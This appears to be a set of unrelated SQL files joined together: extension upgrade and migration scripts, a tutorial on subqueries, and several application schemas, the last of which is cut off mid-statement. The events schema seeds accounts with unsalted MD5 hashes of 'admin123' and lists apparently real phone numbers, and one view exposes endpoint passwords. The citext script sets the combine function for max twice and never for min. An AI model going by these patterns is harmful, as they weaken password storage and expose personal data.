/* contrib/citext/citext--1.1--1.2.sql */ -- complain if script is sourced in psql, rather than via ALTER EXTENSION \echo Use "ALTER EXTENSION citext UPDATE TO '1.2'" to load this file. \quit ALTER FUNCTION citextin(cstring) PARALLEL SAFE; ALTER FUNCTION citextout(citext) PARALLEL SAFE; ALTER FUNCTION citextrecv(internal) PARALLEL SAFE; ALTER FUNCTION citextsend(citext) PARALLEL SAFE; ALTER FUNCTION citext(bpchar) PARALLEL SAFE; ALTER FUNCTION citext(boolean) PARALLEL SAFE; ALTER FUNCTION citext(inet) PARALLEL SAFE; ALTER FUNCTION citext_eq(citext, citext) PARALLEL SAFE; ALTER FUNCTION citext_ne(citext, citext) PARALLEL SAFE; ALTER FUNCTION citext_lt(citext, citext) PARALLEL SAFE; ALTER FUNCTION citext_le(citext, citext) PARALLEL SAFE; ALTER FUNCTION citext_gt(citext, citext) PARALLEL SAFE; ALTER FUNCTION citext_ge(citext, citext) PARALLEL SAFE; ALTER FUNCTION citext_cmp(citext, citext) PARALLEL SAFE; ALTER FUNCTION citext_hash(citext) PARALLEL SAFE; ALTER FUNCTION citext_smaller(citext, citext) PARALLEL SAFE; ALTER FUNCTION citext_larger(citext, citext) PARALLEL SAFE; ALTER FUNCTION texticlike(citext, citext) PARALLEL SAFE; ALTER FUNCTION texticnlike(citext, citext) PARALLEL SAFE; ALTER FUNCTION texticregexeq(citext, citext) PARALLEL SAFE; ALTER FUNCTION texticregexne(citext, citext) PARALLEL SAFE; ALTER FUNCTION texticlike(citext, text) PARALLEL SAFE; ALTER FUNCTION texticnlike(citext, text) PARALLEL SAFE; ALTER FUNCTION texticregexeq(citext, text) PARALLEL SAFE; ALTER FUNCTION texticregexne(citext, text) PARALLEL SAFE; ALTER FUNCTION regexp_matches(citext, citext) PARALLEL SAFE; ALTER FUNCTION regexp_matches(citext, citext, text) PARALLEL SAFE; ALTER FUNCTION regexp_replace(citext, citext, text) PARALLEL SAFE; ALTER FUNCTION regexp_replace(citext, citext, text, text) PARALLEL SAFE; ALTER FUNCTION regexp_split_to_array(citext, citext) PARALLEL SAFE; ALTER FUNCTION regexp_split_to_array(citext, citext, text) PARALLEL SAFE; ALTER FUNCTION regexp_split_to_table(citext, citext) PARALLEL SAFE; ALTER FUNCTION regexp_split_to_table(citext, citext, text) PARALLEL SAFE; ALTER FUNCTION strpos(citext, citext) PARALLEL SAFE; ALTER FUNCTION replace(citext, citext, citext) PARALLEL SAFE; ALTER FUNCTION split_part(citext, citext, int) PARALLEL SAFE; ALTER FUNCTION translate(citext, citext, text) PARALLEL SAFE; UPDATE pg_proc SET proparallel = 's' WHERE oid = 'min(citext)'::pg_catalog.regprocedure; UPDATE pg_proc SET proparallel = 's' WHERE oid = 'max(citext)'::pg_catalog.regprocedure; UPDATE pg_aggregate SET aggcombinefn = 'citext_smaller' WHERE aggfnoid = 'max(citext)'::pg_catalog.regprocedure; UPDATE pg_aggregate SET aggcombinefn = 'citext_larger' WHERE aggfnoid = 'max(citext)'::pg_catalog.regprocedure;
<reponame>yacon/koala-framework<filename>Kwc/Newsletter/Update/35007.sql ALTER TABLE `kwc_newsletter` ADD `mails_per_minute` VARCHAR( 255 ) NOT NULL , ADD `start_date` DATETIME NULL; ALTER TABLE `kwc_newsletter` CHANGE `status` `status` ENUM( 'start', 'startLater', 'pause', 'stop', 'sending', 'finished' ) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL; CREATE TABLE `kwc_newsletter_testmail_receiver` ( `id` INT( 11 ) NOT NULL AUTO_INCREMENT PRIMARY KEY , `email` VARCHAR( 255 ) NOT NULL , `newsletter_component_id` VARCHAR( 255 ) NOT NULL , `last_sent_date` DATETIME NOT NULL ) ENGINE = INNODB CHARACTER SET utf8 COLLATE utf8_general_ci;
/* SUBCONSULTAS: - Son consultas que se ejecutan dentro de otras. - Consiste en utilizar los resultados de la subconsulta para operar en la consulta principal. - Jugando con las claves ajenas / foraneas. */ #Sacar users con posts# -- IN, existe, clausula que puede devolver varios resultados y no uno. -- = Si solo se quiere un solo resultado se usa el = -- NOT IN si no existe dentro de la subconsulta -- Consulta seleccionar todo los users donde el id de los users exista los user_id de las posts -- subconsulta seleccionar users de posts SELECT * FROM users WHERE id IN (SELECT user_id FROM posts); #Sacar los users que tengan alguna entrada que en su title hable de GTA# -- sacar el name y lastname de los users donde el id de los users exista en la tabla de posts o que allan creado alguna entrada SELECT name, lastname FROM users WHERE id IN (SELECT user_id FROM posts WHERE title LIKE '%GTA%'); # Sacar todas las posts de la categoria Acción utilizando su name SELECT category_id, title FROM posts WHERE category_id IN (SELECT id FROM categories WHERE name = 'Deportes'); #Mostrar las categories con 3 o más posts# SELECT * FROM categories WHERE id IN (SELECT category_id FROM posts GROUP BY category_id HAVING COUNT(category_id)>=3); #Mostrar los users que crearon una entrada un martes# SELECT * FROM users WHERE id IN (SELECT user_id FROM posts WHERE DAYOFWEEK(fecha)=3); #Mostrar el name del usuario que tenga mas posts# -- limit 1 indica que solo se requiere un usuario con mas posts, como solo devuelve un registro se utiliza = en vez de IN SELECT CONCAT(name,' ',lastname) AS 'El usuario con mas posts' FROM users WHERE id = (SELECT user_id FROM posts GROUP BY user_id ORDER BY COUNT(id) DESC LIMIT 1); #Mostrar las categories sin posts# SELECT * FROM categories WHERE id NOT IN (SELECT category_id FROM posts);
<reponame>mdmsua/Ausgaben.Database create function rls.UserPredicate ( @User nvarchar(128) ) returns table with schemabinding as return select 1 as fn_securitypredicate_result where cast(session_context(N'User') as nvarchar(128)) = @User
-- MIT License -- -- (C) Copyright [2019-2021] Hewlett Packard Enterprise Development LP -- -- Permission is hereby granted, free of charge, to any person obtaining a -- copy of this software and associated documentation files (the "Software"), -- to deal in the Software without restriction, including without limitation -- the rights to use, copy, modify, merge, publish, distribute, sublicense, -- and/or sell copies of the Software, and to permit persons to whom the -- Software is furnished to do so, subject to the following conditions: -- -- The above copyright notice and this permission notice shall be included -- in all copies or substantial portions of the Software. -- -- THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -- IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -- FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL -- THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR -- OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, -- ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR -- OTHER DEALINGS IN THE SOFTWARE. -- Completely remove schema 5 if we roll back this far. BEGIN; -- Revert this view to the previous version CREATE OR REPLACE VIEW comp_endpoints_info AS SELECT comp_endpoints.id AS "id", comp_endpoints.type AS "type", comp_endpoints.domain AS "domain", comp_endpoints.redfish_type AS "redfish_type", comp_endpoints.redfish_subtype AS "redfish_subtype", comp_endpoints.mac AS "mac", comp_endpoints.uuid AS "uuid", comp_endpoints.odata_id AS "odata_id", comp_endpoints.rf_endpoint_id AS "rf_endpoint_id", rf_endpoints.fqdn AS "rf_endpoint_fqdn", comp_endpoints.component_info AS "component_info", -- JSON rf_endpoints.user AS "rf_endpoint_user", rf_endpoints.password AS "rf_endpoint_password" FROM comp_endpoints LEFT JOIN rf_endpoints on comp_endpoints.rf_endpoint_id = rf_endpoints.id; -- Decrease the schema version INSERT INTO system VALUES(0, 4, '{}'::JSON) ON CONFLICT(id) DO UPDATE SET schema_version=4; COMMIT;
<reponame>jkpvino/events<gh_stars>0 CREATE TABLE IF NOT EXISTS `users` ( `id` INT NOT NULL AUTO_INCREMENT, `email` VARCHAR(255) NULL , `phone_no` VARCHAR(255) NULL , `password` VARCHAR(255) NOT NULL , `facebook` VARCHAR(255) NULL , `google` VARCHAR(255) NULL , `country_code` VARCHAR(255) NULL, `status` ENUM('10','20','30','40') NOT NULL COMMENT '10 => Active, 20 => Hold, 30 => Blocked 40=> Disabled' , `created_at` TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP , `updated_at` DATETIME on update CURRENT_TIMESTAMP NULL , PRIMARY KEY (`id`), UNIQUE `email` (`email`), UNIQUE `phone_no` (`phone_no`) ) ENGINE = InnoDB; /* INSERT Users */ INSERT INTO `users` (`email`, `phone_no`, `password`, `facebook`, `google`, `country_code`, `status`, `created_at`, `updated_at`) VALUES ('<EMAIL>', '8220466675', MD5('admin123'), NULL, NULL, '', '10', CURRENT_TIMESTAMP, '2019-11-06 00:00:00'); INSERT INTO `users` (`email`, `phone_no`, `password`, `facebook`, `google`, `country_code`, `status`, `created_at`, `updated_at`) VALUES ('<EMAIL>', '9600255694', MD5('admin123'), NULL, NULL, '', '10', CURRENT_TIMESTAMP, '2019-11-06 00:00:00'); INSERT INTO `users` (`email`, `phone_no`, `password`, `facebook`, `google`, `country_code`, `status`, `created_at`, `updated_at`) VALUES ('<EMAIL>', '9566646773', MD5('admin123'), NULL, NULL, '', '10', CURRENT_TIMESTAMP, '2019-11-06 00:00:00'); CREATE TABLE IF NOT EXISTS `user_info` ( `id` INT NOT NULL AUTO_INCREMENT, `firstname` VARCHAR(255) NULL , `lastname` VARCHAR(255) NULL , `website` VARCHAR(500) NULL , `profileimg` VARCHAR(500) NULL , `bio` TEXT NULL , `gender` TINYINT NOT NULL DEFAULT '0' COMMENT '0 => Female 1=> Male' , `user_id` INT NOT NULL, `created_at` TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP , `updated_at` DATETIME on update CURRENT_TIMESTAMP NULL , PRIMARY KEY (`id`), FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE ) ENGINE = InnoDB; create or replace view userview as select id,email,password,status from users UNION select id, phone_no, password,status from users; INSERT INTO `user_info` (`id`, `firstname`, `lastname`, `website`, `profileimg`, `bio`, `gender`, `user_id`, `created_at`, `updated_at`) VALUES (1, 'Mani', 'v', NULL, NULL, NULL, 1, 2, '2019-11-28 02:47:45', '2019-11-28 08:19:09'); CREATE TABLE `institution` ( `id` INT NOT NULL AUTO_INCREMENT , `name` VARCHAR(500) NOT NULL , `emblem` VARCHAR(255) NULL , `description` TEXT NOT NULL , `address` TEXT NOT NULL , `gmap_location` TEXT NOT NULL , `website_url` TEXT NOT NULL , `institution_category` VARCHAR(255) NULL , `country` VARCHAR(255) NULL, `state` VARCHAR(255) NULL, `city` INT NULL, `postal_code` VARCHAR(255) NULL, `facebook` TEXT NOT NULL , `linkedin` TEXT NOT NULL , `twitter` TEXT NOT NULL , `google` TEXT NOT NULL , `status` ENUM('10','20','30','40') NOT NULL COMMENT '10 => Active, 20 => Hold, 30 => Blocked 40=> Closed', `created_at` TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP , `modified_at` DATETIME on update CURRENT_TIMESTAMP NULL , PRIMARY KEY (`id`) ) ENGINE = InnoDB; /*INSTITUTION*/ INSERT INTO `institution` (`id`, `name`, `emblem`, `description`, `address`, `gmap_location`, `website_url`, `facebook`, `linkedin`, `twitter`, `google`, `status`, `created_at`, `modified_at`) VALUES (NULL, 'SACS MAVMM Engg College', NULL, '', 'Kidaripatti, Melur - Azhagarkovil Road, Tamil Nadu 625301, Phone No: 0452 255 5100', '', 'http://sacsmec.in/web', '', '', '', '', '10', '2019-11-07 12:22:23', '2019-11-06 00:00:00'); INSERT INTO `institution` (`id`, `name`, `emblem`, `description`, `address`, `gmap_location`, `website_url`, `facebook`, `linkedin`, `twitter`, `google`, `status`, `created_at`, `modified_at`) VALUES (NULL, 'Latha Mathavan Engineering College', NULL, '', 'Plot Latha Mathavan Nagar, Near Alagarkovil Perumal Temple, Melur Taluk Madurai,, Kidaripatti, Tamil Nadu 625301\r\n', '', 'http://www.lathamathavan.edu.in/', '', '', '', '', '10', '2019-11-07 11:22:23', '2019-11-06 00:00:00'); CREATE TABLE `event_type` ( `id` INT NOT NULL AUTO_INCREMENT , `name` VARCHAR(500) NOT NULL , `name_code` VARCHAR(500) NOT NULL , `category` VARCHAR(500) NOT NULL , `category_code` VARCHAR(500) NOT NULL , `status` ENUM('10','40') NOT NULL , `created_at` TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP , `updated_at` DATETIME on update CURRENT_TIMESTAMP NULL , PRIMARY KEY (`id`) ) ENGINE = InnoDB; INSERT INTO `event_type` (`name`, `category`, `name_code`, `category_code`, `status`) VALUES ('workshop', 'school', 'workshop', 'school', '10'); INSERT INTO `event_type` (`name`, `category`, `name_code`, `category_code`, `status`) VALUES ('conference', 'school', 'conference', 'school', '10'); INSERT INTO `event_type` (`name`, `category`, `name_code`, `category_code`, `status`) VALUES ('exhibition', 'school', 'exhibition', 'school', '10'); INSERT INTO `event_type` (`name`, `category`, `name_code`, `category_code`, `status`) VALUES ('Annual Day', 'school','annual_day', 'school', '10'); INSERT INTO `event_type` (`name`, `category`, `name_code`, `category_code`, `status`) VALUES ('symposium', 'college','symposium', 'college', '10'); CREATE TABLE `symposium` ( `id` INT NOT NULL AUTO_INCREMENT , `name` VARCHAR(500) NULL , `description` TEXT NULL , `mobile_description` TEXT NULL , `logo` VARCHAR(255) NULL , `banner` VARCHAR(255) NULL , `url_key` VARCHAR(255) NULL , `contact_info` TEXT NULL , `event_from` DATETIME NULL , `event_to` DATETIME NULL , `allowed_users` INT NULL , `address` TEXT NULL , `website` TEXT NULL , `gmap_location` TEXT NULL , `status` ENUM('10','20','30','40') NOT NULL COMMENT '10 => Active, 20 => Hold, 30 => Blocked 40=> Completed', `user_id` INT NOT NULL, `institution_id` INT NULL, `event_type` INT NULL, `created_at` TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP , `updated_at` DATETIME on update CURRENT_TIMESTAMP NULL , PRIMARY KEY (`id`), FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE, FOREIGN KEY (event_type) REFERENCES event_type(id), FOREIGN KEY (institution_id) REFERENCES institution(id) ON DELETE CASCADE ) ENGINE = InnoDB; /*SYMPOSIUM*/ INSERT INTO `symposium` (`id`, `name`, `description`, `mobile_description`, `logo`, `banner`, `contact_info`, `event_from`, `event_to`, `allowed_users`, `address`, `gmap_location`, `status`, `user_id`, `institution_id`, `event_type`, `created_at`, `updated_at`,`url_key`) VALUES (NULL, 'AARON 11', 'This symposium would contain around 12 events, which would have students from all engineering colleges competing for excellence.\r\n\r\nGENERAL RULES & REGULATIONS:\r\n\r\no Participants should bring their college identity cards along with bonafide certificates duly signed by the Head of the Institution/Department.\r\n\r\no Participants should come in full formals.\r\n\r\no A single candidate can participate only in maximum 3 events.\r\n\r\no Registration fee- Rs150/-\r\n\r\no DD should be taken in favor of “THE PRINCIPAL, SACS MAVMM ENGINEERING COLLEGE, ALAGAR KOVIL” payable at Madurai.\r\n\r\no DD should be sent to our college within 15-9-2011.\r\n\r\no Registration fee will be collected only once even if the candidate will participate in one (or) more events.\r\n\r\no There would be overlapping of events during the day of the symposium. Hence, the participants should make internal arrangements for participation accordingly.(refer agenda)\r\n\r\no The candidate who want to participate in gaming, can register their name in the spot by giving registration fee-Rs50/-', 'This symposium would contain around 12 events, which would have students from all engineering colleges competing for excellence.\r\n\r\nGENERAL RULES & REGULATIONS:\r\n\r\no Participants should bring their college identity cards along with bonafide certificates duly signed by the Head of the Institution/Department.\r\n\r\no Participants should come in full formals.\r\n\r\no A single candidate can participate only in maximum 3 events.\r\n\r\no Registration fee- Rs150/-\r\n\r\no DD should be taken in favor of “THE PRINCIPAL, SACS MAVMM ENGINEERING COLLEGE, ALAGAR KOVIL” payable at Madurai.\r\n\r\no DD should be sent to our college within 15-9-2011.\r\n\r\no Registration fee will be collected only once even if the candidate will participate in one (or) more events.\r\n\r\no There would be overlapping of events during the day of the symposium. Hence, the participants should make internal arrangements for participation accordingly.(refer agenda)\r\n\r\no The candidate who want to participate in gaming, can register their name in the spot by giving registration fee-Rs50/-', 'aaron.png', 'aaron-banner.jpeg', 'Mr. K.K.SUNDARRAJAN - 9943292163', '2019-11-10 09:00:00', '2019-11-10 19:00:00', '1500', 'Address: Kidaripatti, Melur - Azhagarkovil Road, Tamil Nadu 625301\r\nPhone: 0452 255 5100', NULL, '10', '1', '1', '2', current_timestamp(), '2019-11-21 00:00:00','aaron-11'); CREATE TABLE `events` ( `id` INT NOT NULL AUTO_INCREMENT , `name` VARCHAR(500) NOT NULL , `description` TEXT NOT NULL , `contact_us` TEXT NULL , `event_from` DATETIME NOT NULL , `event_to` DATETIME NOT NULL , `sym_id` INT NOT NULL, `allowed_users` INT NOT NULL , `status` ENUM('10','20','30','40') NOT NULL , `created_at` TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP , `updated_at` DATETIME on update CURRENT_TIMESTAMP NULL , PRIMARY KEY (`id`), FOREIGN KEY (sym_id) REFERENCES symposium(id) ON DELETE CASCADE ) ENGINE = InnoDB; /*events*/ INSERT INTO `events` (`id`, `name`, `description`, `contact_us`, `event_from`, `event_to`, `sym_id`, `allowed_users`, `status`, `created_at`, `updated_at`) VALUES (NULL, 'MEMS and NEMS', '\r\n\r\nRules & Regulations:\r\n\r\n1. Number of Members – Max of 3.\r\n\r\n2. Working model should be presented.\r\n\r\n3. Desired output should be shown.\r\n\r\n4. Arrangements regarding the project should be made personally including laptop.\r\n\r\n5. Soft copies of the abstract should be mailed to <EMAIL> with subject as project.\r\n\r\n6. Last date for project submission is 10th September 2011 and the result would be intimated through mail on 13th September 2011.', 'For more details contact Mr. K.K.SUNDARRAJAN -9943292163', '2019-11-08 11:00:00', '2019-11-08 12:00:00', '1', '150', '10', current_timestamp(), '2019-11-07 16:00:00'); INSERT INTO `events` (`id`, `name`, `description`, `contact_us`, `event_from`, `event_to`, `sym_id`, `allowed_users`, `status`, `created_at`, `updated_at`) VALUES (NULL, 'DUMP C', '\r\n\r\nRules & Regulations:\r\n\r\n1. Number of Members – Max of 3.\r\n\r\n2. Working model should be presented.\r\n\r\n3. Desired output should be shown.\r\n\r\n4. Arrangements regarding the project should be made personally including laptop.\r\n\r\n5. Soft copies of the abstract should be mailed to <EMAIL> with subject as project.\r\n\r\n6. Last date for project submission is 10th September 2011 and the result would be intimated through mail on 13th September 2011.', 'For more details contact Mr. K.K.SUNDARRAJAN -9943292163', '2019-11-08 11:00:00', '2019-11-08 12:00:00', '1', '150', '10', '2019-11-07 12:38:59', '2019-11-07 16:00:00'); CREATE TABLE `subscribers` ( `id` INT NOT NULL AUTO_INCREMENT , `name` VARCHAR(255) NULL , `email` VARCHAR(255) NULL , `phone_no` VARCHAR(255) NULL , `institution_id` INT NULL, `program_id` INT NULL, `event_ids` VARCHAR(255) NULL , `event_type` INT NULL, `created_at` TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP , `updated_at` DATETIME on update CURRENT_TIMESTAMP NULL , `status` ENUM('10','20','30','40') NOT NULL , PRIMARY KEY (`id`), FOREIGN KEY (event_type) REFERENCES event_type(id), FOREIGN KEY (institution_id) REFERENCES institution(id) ON DELETE CASCADE ) ENGINE = InnoDB; /*subscribers*/ INSERT INTO `subscribers` (`id`, `name`, `email`, `phone_no`, `institution_id`, `program_id`, `event_ids`, `event_type`, `created_at`, `updated_at`, `status`) VALUES (NULL, '<NAME>', '<EMAIL>', '8579347784', '1', '1', '1,2', '1', current_timestamp(), NULL, '10'); INSERT INTO `subscribers` (`id`, `name`, `email`, `phone_no`, `institution_id`, `program_id`, `event_ids`, `event_type`, `created_at`, `updated_at`, `status`) VALUES (NULL, 'kumar', '<EMAIL>', '8579327784', '1', '1', '1,2', '1', current_timestamp(), NULL, '10'); INSERT INTO `subscribers` (`id`, `name`, `email`, `phone_no`, `institution_id`, `program_id`, `event_ids`, `event_type`, `created_at`, `updated_at`, `status`) VALUES (NULL, 'yashiv', '<EMAIL>', '8579327784', '1', '1', '1,2', '1', current_timestamp(), NULL, '10'); create or replace view searchevents as SELECT sys.id as id,sys.name as name,ins.name as institution, sys.status as status, banner, url_key, event_from, event_to, sys.address, country.name as country, state.name as state, city.name as city, etype.name as etypename, etype.category as etypecategory FROM `symposium` as sys inner join institution as ins on sys.institution_id = ins.id LEFT JOIN event_type as etype on etype.id = sys.event_type LEFT JOIN countries as country ON ins.country = country.iso2 LEFT JOIN states as state ON ins.state = state.iso2 LEFT JOIN cities as city ON ins.city = city.id WHERE state.country_code = country.iso2; SELECT sys.id as id,sys.name as name,ins.name as institution, sys.status as status, banner, url_key, event_from, event_to, sys.address, country.name as country, state.name as state, city.name as city, etype.name as etypename, etype.category as etypecategory FROM `symposium` as sys inner join institution as ins on sys.institution_id = ins.id LEFT JOIN event_type as etype on etype.id = sys.event_type LEFT JOIN countries as country ON ins.country = country.iso2 LEFT JOIN states as state ON ins.state = state.iso2 LEFT JOIN cities as city ON ins.city = city.id WHERE state.country_code = country.iso2 CREATE TABLE `events`.`contact_us` ( `id` INT NOT NULL AUTO_INCREMENT , `fullname` VARCHAR(255) NOT NULL , `email` VARCHAR(255) NOT NULL , `phone` VARCHAR(255) NULL , `message` TEXT NULL , `status` ENUM('10','20','30','') NOT NULL DEFAULT '30' COMMENT '10 => Completed, 20 => Inprogress, 30 => Pending' , PRIMARY KEY (`id`)) ENGINE = InnoDB; CREATE TABLE `hsm_admin` ( `id` INT NOT NULL AUTO_INCREMENT , `username` VARCHAR(255) NOT NULL , `password` TEXT NOT NULL , `status` ENUM('1') NOT NULL DEFAULT '1' , `created_at` DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP , PRIMARY KEY (`id`)) ENGINE = InnoDB; INSERT INTO `hsm_admin` (`id`, `username`, `password`, `status`, `created_at`) VALUES (NULL, '<EMAIL>', MD5('<PASSWORD>'), '1', current_timestamp()); INSERT INTO `symposium` (`id`, `name`, `description`, `mobile_description`, `logo`, `banner`, `url_key`, `contact_info`, `event_from`, `event_to`, `allowed_users`, `address`, `website`, `gmap_location`, `status`, `user_id`, `institution_id`, `event_type`, `created_at`, `updated_at`) VALUES (NULL, 'Techmania', ' This symposium would contain around 12 events, which would have students from all engineering colleges competing for excellence.\r\n\r\nGENERAL RULES &amp;amp; REGULATIONS:\r\n\r\no Participants should bring their college identity cards along with bonafide certificates duly signed by the Head of the Institution/Department.\r\n\r\no Participants should come in full formals.\r\n\r\no A single candidate can participate only in maximum 3 events.\r\n\r\no Registration fee- Rs150/-\r\n\r\no DD should be taken in favor of &ldquo;THE PRINCIPAL, SACS MAVMM ENGINEERING COLLEGE, ALAGAR KOVIL&rdquo; payable at Madurai.\r\n\r\no DD should be sent to our college within 15-9-2011.\r\n\r\no Registration fee will be collected only once even if the candidate will participate in one (or) more events.\r\n\r\no There would be overlapping of events during the day of the symposium. Hence, the participants should make internal arrangements for participation accordingly.(refer agenda)\r\n\r\no The candidate who want to participate in gaming, can register their name in the spot by giving registration fee-Rs50/- ', 'This symposium would contain around 12 events, which would have students from all engineering colleges competing for excellence.\r\n\r\nGENERAL RULES & REGULATIONS:\r\n\r\no Participants should bring their college identity cards along with bonafide certificates duly signed by the Head of the Institution/Department.\r\n\r\no Participants should come in full formals.\r\n\r\no A single candidate can participate only in maximum 3 events.\r\n\r\no Registration fee- Rs150/-\r\n\r\no DD should be taken in favor of “THE PRINCIPAL, SACS MAVMM ENGINEERING COLLEGE, <NAME>” payable at Madurai.\r\n\r\no DD should be sent to our college within 15-9-2011.\r\n\r\no Registration fee will be collected only once even if the candidate will participate in one (or) more events.\r\n\r\no There would be overlapping of events during the day of the symposium. Hence, the participants should make internal arrangements for participation accordingly.(refer agenda)\r\n\r\no The candidate who want to participate in gaming, can register their name in the spot by giving registration fee-Rs50/-', 'techmania.jpg', 'techmania.jpg', 'techmania', 'Mr. K.K.SUNDARRAJAN - 9943292163 ', '2019-11-10 09:00:00', '2019-11-10 19:00:00', '1500', ' Address: Kidaripatti, Melur - Azhagarkovil Road, Tamil Nadu 625301\r\nPhone: 0452 255 5100 ', 'http://aaron.com', 'http://aaron.com', '10', '1', '1', '2', '2019-12-23 19:05:45', '2019-12-29 13:52:42'); INSERT INTO `symposium` (`id`, `name`, `description`, `mobile_description`, `logo`, `banner`, `url_key`, `contact_info`, `event_from`, `event_to`, `allowed_users`, `address`, `website`, `gmap_location`, `status`, `user_id`, `institution_id`, `event_type`, `created_at`, `updated_at`) VALUES (NULL, 'Harizadu', ' This symposium would contain around 12 events, which would have students from all engineering colleges competing for excellence.\r\n\r\nGENERAL RULES &amp;amp; REGULATIONS:\r\n\r\no Participants should bring their college identity cards along with bonafide certificates duly signed by the Head of the Institution/Department.\r\n\r\no Participants should come in full formals.\r\n\r\no A single candidate can participate only in maximum 3 events.\r\n\r\no Registration fee- Rs150/-\r\n\r\no DD should be taken in favor of &ldquo;THE PRINCIPAL, SACS MAVMM ENGINEERING COLLEGE, ALAGAR KOVIL&rdquo; payable at Madurai.\r\n\r\no DD should be sent to our college within 15-9-2011.\r\n\r\no Registration fee will be collected only once even if the candidate will participate in one (or) more events.\r\n\r\no There would be overlapping of events during the day of the symposium. Hence, the participants should make internal arrangements for participation accordingly.(refer agenda)\r\n\r\no The candidate who want to participate in gaming, can register their name in the spot by giving registration fee-Rs50/- ', 'This symposium would contain around 12 events, which would have students from all engineering colleges competing for excellence.\r\n\r\nGENERAL RULES & REGULATIONS:\r\n\r\no Participants should bring their college identity cards along with bonafide certificates duly signed by the Head of the Institution/Department.\r\n\r\no Participants should come in full formals.\r\n\r\no A single candidate can participate only in maximum 3 events.\r\n\r\no Registration fee- Rs150/-\r\n\r\no DD should be taken in favor of “THE PRINCIPAL, SACS MAVMM ENGINEERING COLLEGE, <NAME>” payable at Madurai.\r\n\r\no DD should be sent to our college within 15-9-2011.\r\n\r\no Registration fee will be collected only once even if the candidate will participate in one (or) more events.\r\n\r\no There would be overlapping of events during the day of the symposium. Hence, the participants should make internal arrangements for participation accordingly.(refer agenda)\r\n\r\no The candidate who want to participate in gaming, can register their name in the spot by giving registration fee-Rs50/-', 'harizadu.jpg', 'harizadu.jpg', 'harizadu', 'Mr. K.K.SUNDARRAJAN - 9943292163 ', '2020-01-10 19:00:00', '2020-01-10 19:00:00', '1500', ' Address: Kidaripatti, Melur - Azhagarkovil Road, Tamil Nadu 625301\r\nPhone: 0452 255 5100 ', 'http://aaron.com', 'http://aaron.com', '10', '1', '1', '2', '2020-01-10 19:00:00', '2020-01-10 19:00:00'); ALTER TABLE `symposium` ADD `country` VARCHAR(255) NULL AFTER `address`, ADD `state` VARCHAR(255) NULL AFTER `country`, ADD `city` INT NULL AFTER `state`, ADD `postal_code` INT NULL AFTER `city`;
CREATE TABLE EncryptedCards ( CardKeyHash bytea not null, CardNumberReference uuid not null, CardData bytea not null, Datestamp timestamptz not null default now(), PRIMARY KEY (CardKeyHash), FOREIGN KEY (CardNumberReference) REFERENCES CardNumberReferences(CardNumberReference) );
<reponame>zonafets/TSQL-Utils /* leave this l:see LICENSE file g:utility v:091018\s.zaglio: test for bcp form of sp__copy */ CREATE proc sp__copy_test_bcp @dbg bit=0 as begin set nocount on declare @r int if dbo.fn__exists('bcp_test',null)=1 drop table bcp_test declare @t sysname select @t='a11_um' -- sp__dir 'a11_um' -- select * from a11_um exec('select top 0 * into bcp_test from '+@t) -- bcp do not manage difference between table and file without format -- exec('alter table bcp_test add ok bit') if @dbg=1 exec('select * from '+@t) exec @r=sp__copy @t,'bcp_test.txt',@dbg=1 if @r!=0 goto err exec @r=sp__run_cmd 'type %temp%\bcp_test.txt' if @r!=0 goto err exec @r=sp__copy 'bcp_test.txt','bcp_testone',@dbg=1 if @r!=-16 goto err exec @r=sp__copy 'bcp_test.txt','bcp_test',@dbg=1 if @r!=0 goto err select * from bcp_test drop table bcp_test goto ret err: exec sp__printf 'sp__copy_test_bpc:bcp test error' ret: end -- proc
create schema if not exists orzzone collate utf8mb4_general_ci; create table if not exists sessions ( session_id varchar(128) collate utf8mb4_bin not null primary key, expires int(11) unsigned not null, data text collate utf8mb4_bin null ) charset=latin1; create table if not exists wp_commentmeta ( meta_id bigint unsigned auto_increment primary key, comment_id bigint unsigned default 0 not null, meta_key varchar(255) null, meta_value longtext null ) collate=utf8mb4_unicode_520_ci; create index comment_id on wp_commentmeta (comment_id); create index meta_key on wp_commentmeta (meta_key); create table if not exists wp_comments ( comment_ID bigint unsigned auto_increment primary key, comment_post_ID bigint unsigned default 0 not null, comment_author tinytext not null, comment_author_email varchar(100) default '' not null, comment_author_url varchar(200) default '' not null, comment_author_IP varchar(100) default '' not null, comment_date datetime default '0000-00-00 00:00:00' not null, comment_date_gmt datetime default '0000-00-00 00:00:00' not null, comment_content text not null, comment_karma int default 0 not null, comment_approved varchar(20) default '1' not null, comment_agent varchar(255) default '' not null, comment_type varchar(20) default '' not null, comment_parent bigint unsigned default 0 not null, user_id bigint unsigned default 0 not null, comment_mail_notify tinyint default 0 not null ) collate=utf8mb4_unicode_520_ci; create index comment_approved_date_gmt on wp_comments (comment_approved, comment_date_gmt); create index comment_author_email on wp_comments (comment_author_email); create index comment_date_gmt on wp_comments (comment_date_gmt); create index comment_parent on wp_comments (comment_parent); create index comment_post_ID on wp_comments (comment_post_ID); create table if not exists wp_links ( link_id bigint unsigned auto_increment primary key, link_url varchar(255) default '' not null, link_name varchar(255) default '' not null, link_image varchar(255) default '' not null, link_target varchar(25) default '' not null, link_description varchar(255) default '' not null, link_visible varchar(20) default 'Y' not null, link_owner bigint unsigned default 1 not null, link_rating int default 0 not null, link_updated datetime default '0000-00-00 00:00:00' not null, link_rel varchar(255) default '' not null, link_notes mediumtext not null, link_rss varchar(255) default '' not null ) collate=utf8mb4_unicode_520_ci; create index link_visible on wp_links (link_visible); create table if not exists wp_options ( option_id bigint unsigned auto_increment primary key, option_name varchar(191) default '' not 